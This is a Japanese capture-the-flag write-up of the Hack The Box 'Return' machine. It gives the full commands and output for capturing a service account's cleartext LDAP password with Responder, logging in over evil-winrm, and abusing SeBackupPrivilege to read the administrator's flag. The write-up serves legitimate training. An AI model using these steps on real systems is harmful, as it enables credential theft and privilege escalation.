Hack The Box: Returnのwriteup。
以下はnmapのスキャン結果。
└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 07:32 EST
Nmap scan report for 10.129.95.241
Host is up (0.71s latency).
Not shown: 988 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: HTB Printer Admin Panel
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-10 12:51:52Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-01-10T12:52:24
|_ start_date: N/A
|_clock-skew: 18m34s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 124.80 seconds
標的IPをブラウズしてみたところ、プリンターの管理ページが現れた。
Settingsタブをクリックしたところ、プリンターの設定画面が現れた。
攻撃マシンでresponderを起動して、Server AddressとServer Portに攻撃マシンのアドレスとポートを指定してUpdateボタンを押せば、svc-printer
ユーザーのパスワードが取れそうな感じがプンプンしたので試してみた。
攻撃マシンにてresponderを起動。
└─$ sudo responder -I tun0
[sudo] password for kali:
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.4.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
Server AddressとServer Portに攻撃マシンのアドレスとポートを指定してUpdateボタンをクリック。
するとresponderにsvc-printer
ユーザーのパスワード1edFg43012!!
が送られてきた。
[+] Listening for events...
[LDAP] Cleartext Client : 10.129.95.241
[LDAP] Cleartext Username : return\svc-printer
[LDAP] Cleartext Password : 1edFg43012!!
入手したユーザー名とパスワードを使用して、標的マシンにWinRMで接続できた。
└─$ evil-winrm -u svc-printer -p '1edFg43012!!' -i $RHOST
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami
return\svc-printer
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
一般ユーザーのフラグC:\users\svc-printer\desktop\user.txt
を発見。
*Evil-WinRM* PS C:\users\svc-printer\desktop> dir
Directory: C:\users\svc-printer\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 1/10/2025 4:50 AM 34 user.txt
続いて権限昇格である。
svc-printer
ユーザーはSeBackupPrivilege
権限とSeRestorePrivilege
権限を有していた。
*Evil-WinRM* PS C:\users\svc-printer\desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemtimePrivilege Change the system time Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
ユーザーがSeBackupPrivilege
権限とSeRestorePrivilege
権限を有していた場合、アクセス制限のあるファイルやディレクトリにアクセスすることが可能なので、これを利用すればrootユーザーのフラグを取れそうである。
列挙の過程でrootユーザーのフラグ C:\Users\Administrator\Desktop\root.txt
の存在を確認。
*Evil-WinRM* PS C:\users\svc-printer\desktop> Get-ChildItem -Path C:\Users\ -Include *.ini,*.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.zip,*.xml -File -Recurse -ErrorAction SilentlyContinue
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 1/10/2025 4:50 AM 34 root.txt
Directory: C:\Users\svc-printer\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 1/10/2025 4:50 AM 34 user.txt
しかし、当然ファイルへのアクセス権は無い。
*Evil-WinRM* PS C:\users\svc-printer\desktop> type C:\Users\Administrator\Desktop\root.txt
Access to the path 'C:\Users\Administrator\Desktop\root.txt' is denied.
At line:1 char:1
+ type C:\Users\Administrator\Desktop\root.txt
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Users\Administrator\Desktop\root.txt:String) [Get-Content], UnauthorizedAccessException
+ FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand
先述したSeBackupPrivilege
権限とSeRestorePrivilege
権限を利用して、rootユーザーのフラグにアクセスできるか試してみた。
攻撃手順は以前こちらにまとめたので詳細は省くが、おおまかな流れは以下の通り。
SeBackupPrivilegeUtils.dll
とSeBackupPrivilegeCmdLets.dll
を標的マシンに仕込む。- 上記のDLLをインポートする。
Copy-FileSeBackupPrivilege
でrootユーザーのフラグC:\Users\Administrator\Desktop\root.txt
を別の場所(ユーザーのホームディレクトリ等)にコピーする。- コピー先のファイルを開いてフラグを入手。
Copy-FileSeBackupPrivilege
でC:\users\administrator\desktop\root.txt
をC:\users\svc-printer\desktop\gotcha.txt
にコピーした。C:\users\svc-printer\desktop\gotcha.txt
を開いてフラグを入手することが出来た。
*Evil-WinRM* PS C:\users\svc-printer\desktop> Copy-FileSeBackupPrivilege C:\users\administrator\desktop\root.txt C:\users\svc-printer\desktop\gotcha.txt -Overwrite
*Evil-WinRM* PS C:\users\svc-printer\desktop> dir
Directory: C:\users\svc-printer\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/10/2025 5:39 AM 34 gotcha.txt
-a---- 1/10/2025 5:36 AM 12288 SeBackupPrivilegeCmdLets.dll
-a---- 1/10/2025 5:36 AM 16384 SeBackupPrivilegeUtils.dll
-ar--- 1/10/2025 4:50 AM 34 user.txt